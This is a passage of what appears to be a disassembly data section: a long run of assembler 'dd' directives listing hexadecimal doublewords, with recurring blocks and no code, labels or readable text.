		dd 0F1A4CC55h, 6AF0267Bh, 4CD3EE63h, 6B74E35Ch,	28141AF1h
		dd 92F2B92Ch, 0F9417F10h, 959E08E1h, 0B6A38570h, 3B86514Eh
		dd 94C22B99h, 57C7CE4Dh, 71CDA46Dh, 8FE1F220h, 0E9E05DBEh
		dd 19BB7DC3h, 19040F92h, 0EFA584B5h, 115A81BBh,	4EA80224h
		dd 0E3140D23h, 0EE505D1Ah, 4E4413ABh, 0DA63A0BFh, 0DCB63FB4h
		dd 0E017B10Fh, 1966724Ch, 0E7968E85h, 6AB066FCh, 75C19F7Fh
		dd 0ED473BA8h, 3FD49F49h, 0ED5C2264h, 0E86BEF93h, 0C2BE2C29h
		dd 4AE81BE6h, 210CCF88h, 0F7083DE3h, 0C761D8C6h, 1C9F3F4Fh
		dd 2C72C4C2h, 0E3257FC0h, 4A1BC408h, 20BF43B2h,	32088560h
		dd 53570A79h, 2772CFEBh, 9D78D8A6h, 7C5118B4h, 0A210831Ch
		dd 5E052E48h, 6BF834C5h, 25875Ah, 6058EC71h, 0BADF305Ch
		dd 698C4172h, 1FDC6D80h, 4ED1084Eh, 533B7842h, 79CFB967h
		dd 0BCECFF5Bh, 8AA7B6E8h, 27C6F3AFh, 27C4574Bh,	0A5B55F33h
		dd 0D9BACE1Bh, 9E72731Ah, 459B0FE8h, 0F64347DBh, 1C5BDCCh
		dd 2CB550FFh, 2C47B64Ah, 56153CA4h, 87967B3Eh, 5F162A39h
		dd 0E3D2039Bh, 0E30F79CEh, 0C10945F6h, 142CE02Fh, 6B76862h
		dd 0F6E5E72h, 0D1E37E71h, 0DAA3B2DCh, 0FE641F47h, 0C23261A4h
		dd 130BF306h, 0FDAEC34Bh, 0EC62DB9Ch, 0E1F08996h, 0E72393FAh
		dd 765A3BCBh, 8AC009FEh, 0DA4B7E63h, 84D0755h, 0F7828DD1h
		dd 82419A09h, 273062D0h, 89243964h, 5A14C300h, 0EBB87BC7h
		dd 1B4A62B7h, 4862B23Eh, 90311B2Eh, 0D04C346h, 92F97D20h
		dd 0F571FF67h, 72F884BAh, 2B113C51h, 821A697Dh,	9B57DC3Dh
		dd 0D1178DBEh, 5262720Bh, 0CE3BFB71h, 0D0CB26ABh, 557411CEh
		dd 41A3E274h, 355C8CDEh, 0A50EF9C1h, 0CB9422BFh, 0C9FDFC66h
		dd 33A047C7h, 9FDA2F99h, 0E6BC5B3h, 0D6863597h,	21D80077h
		dd 8B6132D8h, 7BD76797h, 93CAC55Fh, 94D9992Ch, 1E65EC35h
		dd 66EE51B0h, 93A3D119h, 716606A5h, 728BBAB2h, 3117549Eh
		dd 0F1D97F45h, 59A4C77Fh, 0DB3730h, 52969434h, 0BEC75C1Fh
		dd 56836771h, 0AAEFA3E6h, 33B6B7D8h, 0F4C2A67Fh, 8D5AE2E8h
		dd 0BAAD4097h, 0CAB236D6h, 4BEBF738h, 487D6AD3h, 4031A7F5h
		dd 164CFDD0h, 2A7566DCh, 0FFCB013Ch, 31FB4FBEh,	38DC558Eh
		dd 9F8ECA9Dh, 4ABB8E9h,	106B5717h, 0A4FD2EB4h, 8ECCF8D1h
		dd 5F2FB14Bh, 3CAD7B65h, 17767BB3h, 0CC8853B4h,	0CC7C9584h
		dd 0DD057F39h, 5F258A60h, 0A63180E8h, 6E8DD79Ah, 9A1C72EFh
		dd 0D854493Dh, 0B9EA2346h, 61C20047h, 0BFD646h,	0A69EB493h
		dd 96C84491h, 9360316Ah, 0A784A5C9h, 0C9F368D2h, 0B56FAAB2h
		dd 8517D8F5h, 9A383EA5h, 7461303Eh, 6A106788h, 65106F30h
		dd 0E5F98E05h, 9D287DDAh, 96BCE8A3h, 78DF5AE4h,	0F5CD0D25h
		dd 12416896h, 9885ABB0h, 285AA598h, 0F1D91480h,	0F0D4B50Bh
		dd 0C3197805h, 854C44DCh, 0AABD1E4Eh, 9CC74F3Eh, 5DFA92C8h
		dd 1F5BD7A5h, 0C686CF0Ah, 853A26E6h, 0B0E05F83h, 7610413Ch
		dd 0DB809463h, 9D4D1A8Bh, 85DD06C6h, 73952DC9h,	7BF29AEh
		dd 0DD8194F8h, 3C40315Ch, 72664792h, 0F631CF03h, 0FCB4BEF6h
		dd 4429AEEh, 0F462CDBBh, 0D1BE04D0h, 9A60E73h, 0F925CB36h
		dd 0B0EC544Eh, 69B7D061h, 0D2781E7Ah, 0F82E5A4Dh, 58D45B5Dh
		dd 0EB7609E4h, 5829D00Bh, 0CA57F0FDh, 2F7C600Dh, 3E198DCCh
		dd 15D17214h, 9562B6F6h, 8419860Ch, 48478C6Fh, 3FC63938h
		dd 2DBEC3F1h, 0F761C78Dh, 495D3D05h, 0E7E72A8Bh, 25323382h
		dd 6CDC51B1h, 1F9EB50Eh
		dd 0BFF7BF8Bh, 0B1AC152Ah, 0BC10F1F0h, 0A5E2AA4Ah, 9E53DFAEh
		dd 7F31DBAh, 70E1D221h,	644579A8h, 506A45D1h, 3A68A888h
		dd 407D5001h, 0E9D218D9h, 1945D813h, 2AA230C6h,	78D5D78Dh
		dd 44E10274h, 0B770DCB6h, 0A0E77164h, 0D7F9B5CCh, 0DEDD419Bh
		dd 0C3A9C197h, 0C7FB36EAh, 6CB4F4DCh, 0EF5AB53Ah, 0C0C73BA6h
		dd 9E90DD3Dh, 0AD63D6A5h, 25F319D6h, 2DA4F495h,	5A0ACCDCh
		dd 48E25A4Fh, 0E280AB3Fh, 7394B428h, 0D9C9E2A6h, 363046B2h
		dd 37A80549h, 8F52432Dh, 14B5BF97h, 0B4985931h,	3572F799h
		dd 4C5371EDh, 11D15D3h,	0C97FE501h, 1A229E7Eh, 0D471D174h
		dd 12E53254h, 0ABEB742Dh, 90877550h, 99666BF8h,	0A2188272h
		dd 0E22EE80Dh, 0F520040Ah, 0FF60D8Dh, 2FE4914Dh, 77255F8Ah
		dd 212D021Fh, 5724A2D0h, 847E5205h, 5C18DE99h, 96F7FAC2h
		dd 0DCA9ED69h, 22A4BAD6h, 0A74F6698h, 0E53541B5h, 30C2DBDh
		dd 0EC690B94h, 770C232Dh, 6FF7C67Fh, 0FE59D72Bh, 53ACE7B4h
		dd 85456D00h, 69E9BDEEh, 0FBF6CCC5h, 2E68B55Dh,	83DCFFA0h
		dd 0D40A39B6h, 0CCC883A4h, 0CB56CC1Eh, 7145F9FBh, 89C1B56h
		dd 0DA191AFDh, 0B450C1D9h, 4E41F268h, 7E86DCD9h, 6CE1CBA2h
		dd 0EAD05047h, 5567D4F0h, 0F7A4AED4h, 107E3776h, 367FDBAFh
		dd 674444Bh, 1D741CFBh,	312622EBh, 99E8C41Eh, 4397B3B8h
		dd 7023AF5Eh, 64460DDBh, 0FF6B18E1h, 0EC6166ACh, 6D72F8BEh
		dd 1561C6DBh, 7D44A779h, 2BDC130Ch, 80B00C96h, 9A742A2Ah
		dd 19CD753Ch, 84CF1E61h, 33132FDAh, 0F2172332h,	660912E1h
		dd 0C1F577FDh, 2D028854h, 446E5718h, 0A67CBC4Fh, 5046205Bh
		dd 0E0923647h, 219E66F0h, 0E9B43197h, 52349C43h, 3A30FD5Ah
		dd 2A612E5Fh, 2F5803C2h, 0A28E2885h, 0D07732F4h, 87151738h
		dd 3A1B85A8h, 611250C7h, 7AF70083h, 0DCE4EE7h, 588E2AFAh
		dd 7423CF04h, 57C16F13h, 0EA8ECD5Fh, 0CA53C140h, 8670F557h
		dd 0D7978019h, 0EE8E95CCh, 0C4B558FCh, 12BC2FC8h, 488955FCh
		dd 0BE456860h, 7CF794F3h, 1CE7CEC7h, 0B4ABFF35h, 62869810h
		dd 48473CB1h, 0FBA9C4E0h, 0CD5CCD6Ah, 0AEF4C004h, 0F3E34E2h
		dd 1280EA18h, 0FDB1C5E8h, 0A8E3A296h, 5598C25Ah, 730824Ah
		dd 674559B9h, 65E962D7h, 0C891D96Ah, 568FBF6Eh,	0CF5F835Eh
		dd 0AE27F8C5h, 0E786BA30h, 4FC59C25h, 2F6CE64Fh, 7DDA8AF7h
		dd 0D3FB93Dh, 1FEFBE61h, 6984BDA1h, 0E2EC54E3h,	94283894h
		dd 209D4D6Ah, 4A5CB29Ch, 0B0F82785h, 0D975B5A9h, 668864F5h
		dd 0D2DF48D2h, 0AD86FD1Ch, 1FFE83C5h, 0AE26B791h, 0B87BFE6Bh
		dd 0C134152Dh, 0CE16EC63h, 0D67A87AEh, 71DFFA23h, 7852B506h
		dd 4EFD58D0h, 7221A950h, 0DA106053h, 9E255848h,	2FD71A18h
		dd 69D8A1B0h, 366F1E0h,	2F7428ABh, 0F1DB855Bh, 0CF41E2FEh
		dd 0AFCBE2EEh, 34401AC7h, 82474B93h, 376EF180h,	8B08C338h
		dd 8D7C7E32h, 23D23FCAh, 0C76A664Fh, 7275E729h,	7D5B6220h
		dd 0BCF824CAh, 64F1A2A6h, 9863A830h, 0A241441Dh, 0C1DC842Dh
		dd 4C380903h, 6CFC879Ah, 4D815570h, 0C34AEA9Eh,	0A234BAC6h
		dd 1F7711B6h, 8C1C2C3Fh, 0EE319272h, 848C74C2h,	0BEBF08C3h
		dd 0E7A6B3A4h, 0D3AFE182h, 9C851127h, 173AD1ACh, 38747F87h
		dd 4B7FAECFh, 8D9CABC8h, 7F5E505Dh, 0E8F78274h,	1D1FA14Fh
		dd 679B6668h, 0FB47148Ch, 0C3639665h, 80333EAEh, 3218850Ah
		dd 0AD1BAC01h, 76AAB3D7h, 5EC2E8CEh, 19EEE092h,	0ADFFFC19h
		dd 4A049721h, 914D5F6Ch, 6CD35EC8h, 0BD3EBEB4h,	0C3439B73h
		dd 36972741h, 268D53FAh, 5DE6A8CAh, 298DDE53h, 5AB318D3h
		dd 96A0B01Eh, 0AFD7F244h, 0BC227524h, 6FD84527h, 7DBA24E0h
		dd 18E71A33h, 0A6F8FED8h, 820B3D0Bh, 87ABE2C6h,	29BCF0F3h
		dd 78B4157Fh, 7AFC18EDh, 86D5A515h, 56ACCBADh, 0A39E3145h
		dd 1663C08h, 0E1E256F8h, 0D5EA92Ah, 0D8F871DFh,	0E0C1AAF7h
		dd 4213CF67h, 264F7124h, 0B85DAC8Fh, 0EC667ACDh, 1599D1A1h
		dd 0ED92F394h, 6A0C3E8Eh, 4456BCCCh, 42DB5ECBh,	80A0F7A1h
		dd 1F0B601Fh, 0CBB99025h, 941D303Ch, 9F802D9Bh,	0C9C7DF73h
		dd 31CEB24h, 2D9CADEEh,	91FE5E96h, 3F32705Ch, 7696F17Ah
		dd 3D5B0B24h, 4F3C8532h, 38807BE2h, 3063E4B0h, 7EA53E3Ch
		dd 0B56C02ADh, 8DA09857h, 335BD7DBh, 7CD30D20h,	0A15295D5h
		dd 8A945BC5h, 10FC5C06h, 699D3642h, 0B40F9897h,	0C7E5FADAh
		dd 60ECD124h, 0F13798C8h, 6A5BBEEBh, 3FC1557Fh,	0F811B513h
		dd 0DB83AAFEh, 0EE9F50DFh, 87295538h, 0FFA68312h, 45F58D96h
		dd 0F4F5FB3Eh, 42C45CA7h, 8FD0B2A8h, 7DBA24E0h,	18E71A33h
		dd 0A6F8FED8h, 820B3D0Bh, 10A5305h, 2D871E30h, 78B4157Fh
		dd 7AFC18EDh, 0D3801B6Fh, 0C9A03FF1h, 97B836D7h, 0DAB0676Eh
		dd 0E1E256F8h, 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh, 4213CF67h
		dd 264F7124h, 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh, 6C309C47h
		dd 6A0C3E8Eh, 4456BCCCh, 197C0630h, 0BBBF5107h,	1F0B601Fh
		dd 0CBB99025h, 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h
		dd 2D9CADEEh, 91FE5E96h, 3F32705Ch, 7696F17Ah, 3D5B0B24h
		dd 4F3C8532h, 38807BE2h, 3063E4B0h, 7EA53E3Ch, 0B56C02ADh
		dd 8DA09857h, 335BD7DBh, 7CD30D20h, 0A15295D5h,	8A945BC5h
		dd 10FC5C06h, 699D3642h, 0B40F9897h, 0C7E5FADAh, 60ECD124h
		dd 0F13798C8h, 6A5BBEEBh, 3FC1557Fh, 0F811B513h, 0DB83AAFEh
		dd 0EE9F50DFh, 87295538h, 0FFA68312h, 45F58D96h, 0F4F5FB3Eh
		dd 42C45CA7h, 8FD0B2A8h, 7DBA24E0h, 18E71A33h, 7C2CF835h
		dd 6CE88FA9h, 0D1B08BE0h, 0F9AC32BDh, 0AFD09CEFh, 0B1081D4h
		dd 28DA9109h, 0CD2F4D99h, 6CACADC2h, 0C568B319h, 95F57C4h
		dd 0B0017763h, 0E5226F8Eh, 0FBDE1745h, 0DD74476h, 0C7A4DCD6h
		dd 6D7DCCBh, 813588h, 65AE674Dh, 30276F90h, 98F82380h
		dd 67453C76h, 0A4303497h, 2A52E39Ch, 438B2AC8h,	0FD05B846h
		dd 41799CC1h, 0B19B48E8h, 0FE35148h, 24862752h,	2C9C8D53h
		dd 713CF8E2h, 6C661822h, 20336422h, 64D792E5h, 1F7C84D0h
		dd 0D7A5A022h, 56C2AE74h, 0C53961D6h, 0D81312B4h, 7356D490h
		dd 4DE9EDE2h, 99FBFD8Ah, 0D885D6A6h, 0CBB85543h, 0B31195EAh
		dd 0D72AAB4Ah, 0A3CF61B8h, 0DC45D6EFh, 0D77D70DDh, 0B4BF91C5h
		dd 410939Ch, 21497E6Ch,	0E8ACB47Ah, 0CC395052h,	0EF465F07h
		dd 0C0D8F882h, 3ED0A9CCh, 907B072Ah, 5DDA5D68h,	0BC0D8AA8h
		dd 0E51F7D13h, 6F669D4Dh, 0C0D04E8Dh, 65F50240h, 0F4D4F1B3h
		dd 0EB421BD9h, 3EBC8EE5h, 0ECA9BEDBh, 536A1135h, 7065C03Ch
		dd 0D95DBC23h, 159F24AFh, 6194C9C5h, 1B09ED3Ah,	910694B7h
		dd 0A6F80C51h, 322FC294h, 35A0010Eh, 21E39C5Dh,	4991A017h
		dd 0A7FD048Ch, 7365E0C5h, 20A86DCEh, 0A85FDC18h, 51539F0Ch
		dd 0A6E78B23h, 1AD104CFh, 0DD8FE4C9h, 0DE19405Eh, 5EC51154h
		dd 10969513h, 119DF61Eh, 2DB54680h, 0B7DD3FCAh,	0EF75182Ch
		dd 5A36D0ACh, 8A2C3F8Dh, 0FD95D232h, 4BE15EA1h,	0DF7FDAD4h
		dd 2298711Eh, 1521DEh, 27EE6B4Ah, 0C9E0DB41h, 0E430CB21h
		dd 2FDCF8CDh, 80788555h, 733C0BA6h, 2C458C0Ah, 53337A8h
		dd 257F0C02h, 1893D356h, 0D03593CBh, 65886EC9h,	5EE66AFBh
		dd 0BFF3922Dh, 0BA964FBAh, 78301851h, 9E1E3776h, 2BEF6041h
		dd 0D2AC9B22h, 4C547268h, 0E76719D8h, 0BE120CABh, 343CF9FCh
		dd 0C221C4h, 718A0EB9h
		dd 809AA8BBh, 470CD355h, 82155F60h, 0B0DD3256h,	172767B2h
		dd 88F37B8Bh, 0E6E3735Bh, 0CEF3DB87h, 3558CFD0h, 0D4B69A01h
		dd 8FDA5C43h, 0AE7CA89Eh, 0DF21A9Eh, 2309DC9h, 638FEA67h
		dd 0F2CA9395h, 0ABC2C9E4h, 0BD1D6C57h, 7B461340h, 61C6369Ah
		dd 0D03FDA4h, 23890A43h, 2FB720ECh, 6C49F36Bh, 0A55140Dh
		dd 0FF20D62Ah, 2E79C5FDh, 9DB43AFFh, 0F2931EBDh, 4418EE8h
		dd 0C8A22D26h, 0E5665F66h, 9B6414B3h, 9BA2A559h, 0A3E6933Dh
		dd 541CFBC1h, 24A01FDBh, 0A95013A3h, 1A5BA4FBh,	0B63C2FB4h
		dd 715CCDF9h, 689F8082h, 0FE4F494Fh, 2DD04D9Dh,	7CC95B21h
		dd 5A1F88A4h, 2A2609A3h, 0B0ACE1E6h, 0F8A601D0h, 8F0A90Fh
		dd 0A14D04FFh, 5B278C3h, 0B566C87Fh, 0FBA3CB1Eh, 731B8BBh
		dd 28A5FE8Fh, 48A529D9h, 66D98D8Eh, 0A5CA95F0h,	6F5924B3h
		dd 0E48DADF4h, 0DC2A3424h, 0D2F92F9Ch, 0D09F5EA5h, 0D0B5AFB3h
		dd 0A3AF769Ch, 5FD1385Ah, 0F756A678h, 85B016BBh, 344E2214h
		dd 6FF67603h, 42F97568h, 0EA6DFDB2h, 36509AB6h,	4B59012Fh
		dd 1DEF392Bh, 5AD1A19Fh, 0F2FE74DFh, 0FBF0DDCCh, 78AB309Fh
		dd 3EAE31FCh, 6F234F76h, 3B7BBBA0h, 15482880h, 113E5DC3h
		dd 264E2861h, 68B567B1h, 7DFF9D6h, 6CF4E748h, 1A0BA9ACh
		dd 0E0AE6915h, 5A8BB702h, 64D3E45Eh, 5BC6E21Dh,	4586080Ah
		dd 70F35687h, 5D6B67Fh,	22F7D7h, 0D94FD348h, 0D5E203BFh
		dd 0FA30190Ch, 76D356Dh, 8BC8182Eh, 5A10CAE3h, 274551Ch
		dd 2F5FED7Dh, 9FE4747Bh, 7310549h, 0A0E61B52h, 169EFE26h
		dd 0E6EA2FF6h, 0CC7108BEh, 6AAF7E2Bh, 1D0FD12Ch, 0BC46684Ch
		dd 402E5638h, 216D93DCh, 0F1FF6276h, 3EE5F0CEh,	0E2C004EDh
		dd 87295538h, 0FFA68312h, 45F58D96h, 0F4F5FB3Eh, 42C45CA7h
		dd 8FD0B2A8h, 7DBA24E0h, 18E71A33h, 0A6F8FED8h,	820B3D0Bh
		dd 10A5305h, 2D871E30h,	78B4157Fh, 7AFC18EDh, 0D3801B6Fh
		dd 0C9A03FF1h, 97B836D7h, 0DAB0676Eh, 0E1E256F8h, 0D5EA92Ah
		dd 0D7AA0E1Bh, 15753E5Dh, 0C88D7DFAh, 2FAD99D7h, 21338A4Bh
		dd 428314B0h, 0E2CA9611h, 1E8F4AFCh, 5B019F36h,	912D9119h
		dd 859CF8ABh, 0B1A2E343h, 0AF052025h, 713FD9DEh, 0A0274AD6h
		dd 654F1128h, 46AA2BD4h, 0F45E2C60h, 7B2EFEC2h,	60D83AE2h
		dd 16F7538Ah, 1F1B7219h, 432CB3EDh, 5156467Dh, 38807BE2h
		dd 3063E4B0h, 7EA53E3Ch, 0B56C02ADh, 8DA09857h,	335BD7DBh
		dd 7CD30D20h, 0A15295D5h, 8A945BC5h, 10FC5C06h,	699D3642h
		dd 0B40F9897h, 0C7E5FADAh, 60ECD124h, 0F13798C8h, 6A5BBEEBh
		dd 3FC1557Fh, 0F811B513h, 0DB83AAFEh, 0EE9F50DFh, 87295538h
		dd 0FFA68312h, 45F58D96h, 0F4F5FB3Eh, 42C45CA7h, 8FD0B2A8h
		dd 7DBA24E0h, 18E71A33h, 0A6F8FED8h, 820B3D0Bh,	10A5305h
		dd 2D871E30h, 78B4157Fh, 7AFC18EDh, 0D3801B6Fh,	0C9A03FF1h
		dd 97B836D7h, 0DAB0676Eh, 0E1E256F8h, 0D5EA92Ah, 0D7AA0E1Bh
		dd 15753E5Dh, 4213CF67h, 264F7124h, 0BF3FC63Bh,	0E80E229Dh
		dd 388D8ADCh, 6C309C47h, 6A0C3E8Eh, 4456BCCCh, 197C0630h
		dd 0BBBF5107h, 1F0B601Fh, 0CBB99025h, 0BF6FABB4h, 635BBC94h
		dd 0F6508282h, 63D20CF5h, 2D9CADEEh, 91FE5E96h,	3F32705Ch
		dd 7696F17Ah, 3D5B0B24h, 4F3C8532h, 38807BE2h, 3063E4B0h
		dd 7EA53E3Ch, 0B56C02ADh, 8DA09857h, 335BD7DBh,	7CD30D20h
		dd 0A15295D5h, 8A945BC5h, 10FC5C06h, 699D3642h,	0B40F9897h
		dd 0C7E5FADAh, 60ECD124h, 0F13798C8h, 6A5BBEEBh, 3FC1557Fh
		dd 0F811B513h, 0DB83AAFEh, 0EE9F50DFh, 87295538h, 0FFA68312h
		dd 45F58D96h, 0F4F5FB3Eh, 42C45CA7h, 8FD0B2A8h,	7DBA24E0h
		dd 18E71A33h, 0A6F8FED8h, 820B3D0Bh, 10A5305h, 2D871E30h
		dd 78B4157Fh, 7AFC18EDh, 0D3801B6Fh, 0C9A03FF1h, 97B836D7h
		dd 0DAB0676Eh, 0E1E256F8h, 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh
		dd 4213CF67h, 264F7124h, 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh
		dd 6C309C47h, 6A0C3E8Eh, 4456BCCCh, 197C0630h, 0BBBF5107h
		dd 1F0B601Fh, 0CBB99025h, 0BF6FABB4h, 635BBC94h, 0F6508282h
		dd 63D20CF5h, 2D9CADEEh, 91FE5E96h, 3F32705Ch, 7696F17Ah
		dd 3D5B0B24h, 4F3C8532h, 38807BE2h, 3063E4B0h, 0EA462E78h
		dd 9A911E36h, 5538B749h, 0B42DCE1Fh, 4C6FC879h,	9A384C32h
		dd 0AEC32A1Ah, 0C93809F2h, 0D0F9A159h, 96519B18h, 0C3BE1AF3h
		dd 0A468B1Dh, 5F21CA8Ah, 0C39A787Ah, 3FC1557Fh,	0F811B513h
		dd 0DB83AAFEh, 0EE9F50DFh, 0CCEF03B6h, 807E3681h, 9657183Bh
		dd 32DBEE03h, 0E8F25908h, 997EAFFFh, 3B5689C7h,	0DF0BFEADh
		dd 602CABCh, 9F829CE2h,	658394CCh, 0B81998AEh, 0F800245Bh
		dd 935D0CD6h, 0A39A5F03h, 750B6524h, 0A8B42615h, 0FAA709F5h
		dd 0E1E256F8h, 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh, 4213CF67h
		dd 264F7124h, 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh, 6C309C47h
		dd 6A0C3E8Eh, 4456BCCCh, 197C0630h, 0BBBF5107h,	1F0B601Fh
		dd 0CBB99025h, 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h
		dd 0FE884558h, 26C3D986h, 97EFC822h, 2EAF559Bh,	0A0DD4750h
		dd 0C5CEC729h, 6514C4A8h, 6E83161Dh, 12EEB93Fh,	6B33DD4Dh
		dd 0D430DCF2h, 1D3AE217h, 5DEFDD4Ah, 857085E0h,	293AAC34h
		dd 735C8271h, 926281B1h, 0DE4DB333h, 78C6390Fh,	0E92A63ADh
		dd 186D5D21h, 99C56F26h, 0ABDDEE50h, 245D52D0h,	363BD10Ah
		dd 1549A2B2h, 5FEEE431h, 8A659348h, 1CEEEBBh, 0F874F7BFh
		dd 8121B9F4h, 5D80BE89h, 0BC53F13Fh, 14A0C8A5h,	0AE94A48Ah
		dd 32FA6CC6h, 4D97B59h,	0A36A6564h, 7443848Ah, 0B3005840h
		dd 0FCA8459Ch, 0F278F987h, 97B836D7h, 0DAB0676Eh, 0E1E256F8h
		dd 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh, 4213CF67h,	264F7124h
		dd 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh, 6C309C47h, 6A0C3E8Eh
		dd 4456BCCCh, 197C0630h, 0BBBF5107h, 1F0B601Fh,	0CBB99025h
		dd 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h, 2D9CADEEh
		dd 91FE5E96h, 3F32705Ch, 7696F17Ah, 0B50DDCBDh,	2A545287h
		dd 27275BCFh, 6D1F5985h, 0E67AB3C5h, 683D0D36h,	896E1C60h
		dd 19EA5AAAh, 1FDCEE5Ch, 0C0A46E90h, 9A3652Bh, 4477C5BDh
		dd 7A92EB8Dh, 1C90B7E2h, 57F60C4Eh, 17187688h, 0F8C9F15Bh
		dd 0A7AFD5EBh, 411CAA48h, 0C77A326Bh, 0C3254273h, 1A5ECEF9h
		dd 0E9C7AFBDh, 0EF570137h, 0BA127486h, 0B6D330E0h, 75AE1E60h
		dd 0E50E2FB1h, 0D2ACE0F9h, 0E94A51BBh, 0C4482025h, 8731B52h
		dd 3388BBBFh, 589BDABh,	0BC4F9972h, 9F4D7985h, 7FEAFD0Fh
		dd 0FBB68C2h, 910C0457h, 5EF8C934h, 6DA60BF9h, 2281A45Dh
		dd 0B0E2474h, 1BF83309h, 638A0C2Bh, 29208ED2h, 61273FF5h
		dd 66DBE084h, 0B884ACD3h, 427C541Bh, 5C55E941h,	3A1D6503h
		dd 99B66DB5h, 170963A0h, 0BD3C0F26h, 13782409h,	51A991F6h
		dd 0C3F65050h, 609C3097h, 0D54FACEEh, 0D243EE26h, 82720D97h
		dd 0C7B03521h, 5F66D49Bh, 0D3376882h, 35E338FFh, 290C6C75h
		dd 29B7B33Ah, 98369834h, 24B3935Ah, 0C7D1B78Fh,	68C58DEAh
		dd 271F9DE6h, 0F51C1239h, 5368B766h, 0B44C144Bh, 0E5227F09h
		dd 7F924DA5h, 1C2A4F22h, 46AA9FC3h, 0FDC284D8h,	9FE52F5Eh
		dd 5B26787h, 7478E7A2h,	45A66B87h, 63C9D40Ch, 7FC21E4h
		dd 11023E4Dh, 0B4165EEFh, 0FC976DD7h, 26D82C87h, 39AC40E0h
		dd 0A9982CC8h, 0E5C3092h
		dd 0A16D2B4Bh, 30BA3CCFh, 75E3041Eh, 136F55C4h,	3EEB007Dh
		dd 45324C89h, 93D97FC8h, 0AE63306Dh, 0DA238E69h, 7ACD0C2Dh
		dd 2B61880Eh, 5DA74525h, 4CC97B3Dh, 0D391BEDFh,	5C9DD35Fh
		dd 0E37236D0h, 1B3AA77Eh, 7F64A114h, 94A5D29Ah,	463ECF38h
		dd 9F785906h, 0BB392483h, 0B67267B8h, 0FB28FEE5h, 1B124DD5h
		dd 9D103F59h, 6861414Ch, 0B87F7859h, 4F935FEDh,	502C9D65h
		dd 398469h, 5214E95Dh, 0E2C01823h, 0AAD5510Dh, 14E84651h
		dd 7489AC73h, 90AD7BC9h, 91BE9933h, 48FCC926h, 87B9D25Dh
		dd 6B01963Dh, 5DE03D28h, 0B9456F4Ah, 1C21EFD3h,	1237C68Eh
		dd 4091CB07h, 0E80CF7A3h, 8F2A3B48h, 77748A18h,	0BF2F525Fh
		dd 23EF6376h, 8FEEBB21h, 686A4CEh, 2AE05AA8h, 2CE8FE82h
		dd 0C9820855h, 807A1D3Dh, 63AA2483h, 888D5CA2h,	1C2A64D3h
		dd 77525548h, 648F5A90h, 2DEBE222h, 7804CEDCh, 24F50F6h
		dd 0F43DF08Bh, 36BE492Ah, 0F262473Ch, 31EF04DEh, 5F8634AAh
		dd 0DADC998Eh, 5BD0B7AFh, 8D1A04E2h, 5F4FA99Ah,	0AC244D09h
		dd 1440FD19h, 1E48E91Eh, 0B2826938h, 42AE44E2h,	4ADFAC60h
		dd 0CE77D56h, 8F866F97h, 83515ECFh, 743909F8h, 0FD908374h
		dd 2732226Eh, 0FCD144CFh, 975E9B05h, 88418294h,	2391EE14h
		dd 0B7BFE743h, 0CB62A0A9h, 50D65A86h, 0B895E6D0h, 0C693EFC0h
		dd 49713E1Eh, 0C5D778AFh, 0E5BCCA0Eh, 2EEAE173h, 14FCB038h
		dd 4FDABB55h, 0ECB10158h, 8D19558Ah, 9A3E3181h,	20083F71h
		dd 53595866h, 0DE447608h, 0F9B3CBA1h, 0FE0C91A3h, 0A1B3A4D2h
		dd 9D588215h, 689546E4h, 0C9A5C6B7h, 0F5152EFFh, 9B0452D3h
		dd 0AD1BE116h, 0AAC93B46h, 0DA20FEA4h, 7B688E88h, 1B69A6ACh
		dd 0AB9FA4DDh, 9F83CCC8h, 956FCEB9h, 0EFD6F67Ah, 734FBEB7h
		dd 7F0AABCh, 74E8CC1Dh,	4B685658h, 47FDCEFFh, 0A7851577h
		dd 780EE683h, 90BEEC29h, 15DFBA8Eh, 19608D46h, 0F74DC7E6h
		dd 498980CDh, 0C854CB95h, 2604D697h, 8B7ED5ECh,	45546CDAh
		dd 11854308h, 0BDE02654h, 59F60FFBh, 0C7E48A51h, 7064242Dh
		dd 419C3D5h, 7F5D0B49h,	505996Ch, 0BD2EDB1Dh, 7D709698h
		dd 9A812CA9h, 0D24D4F49h, 7B0C62F1h, 0FD205466h, 537229A2h
		dd 7C83332Ch, 1D1DDA84h, 72E7BFD6h, 0CADB15E9h,	0DBD8E16Bh
		dd 2888F3DCh, 0AB67CA26h, 5C92E46Ch, 0FDF8B52Ah, 85739881h
		dd 0A37F9321h, 0C824DD69h, 9303A91Eh, 972932CAh, 86FEC1DEh
		dd 69D1BC7Ah, 407D754Ah, 84B2BC39h, 0BBA7140Ch,	35C1FF9Bh
		dd 0D731A53Fh, 68C36134h, 0E7C14235h, 0ADF63D38h, 9920EF64h
		dd 0FE958196h, 0FBC9B546h, 19A1DBFh, 48C9C459h,	52A1C01Fh
		dd 0AFBE78BFh, 76F17999h, 0CCC31C90h, 24EA73B6h, 5A1198B4h
		dd 488897DFh, 0F26EE34Ch, 7E5DF184h, 0EA32E77Eh, 78D75E8h
		dd 144B1D03h, 27FF44C3h, 3B209460h, 83431556h, 4AE9A071h
		dd 0B0D80DECh, 2758AF89h, 3849A4Ch, 152AE0B5h, 0BAEDF4C1h
		dd 9AD8F298h, 0AAE7C929h, 0D4B7127Dh, 0A884CBD4h, 9EA2CED8h
		dd 0AFB870F3h, 0A418F0FBh, 0EA30A99Eh, 0BA8E13EAh, 5D5ACA72h
		dd 0EED77EABh, 62C16862h, 0BE1A7E12h, 0E5CA9D59h, 1E2E896Bh
		dd 0BA212985h, 0DDA71BA0h, 1820052Dh, 949CE575h, 0BB73F4AAh
		dd 0AC71E5Bh, 875125DDh, 0EA5C0D38h, 38807BE2h,	3063E4B0h
		dd 7EA53E3Ch, 0B56C02ADh, 8DA09857h, 335BD7DBh,	7CD30D20h
		dd 0A15295D5h, 8A945BC5h, 10FC5C06h, 699D3642h,	0B40F9897h
		dd 0C7E5FADAh, 60ECD124h, 0F13798C8h, 6A5BBEEBh, 3FC1557Fh
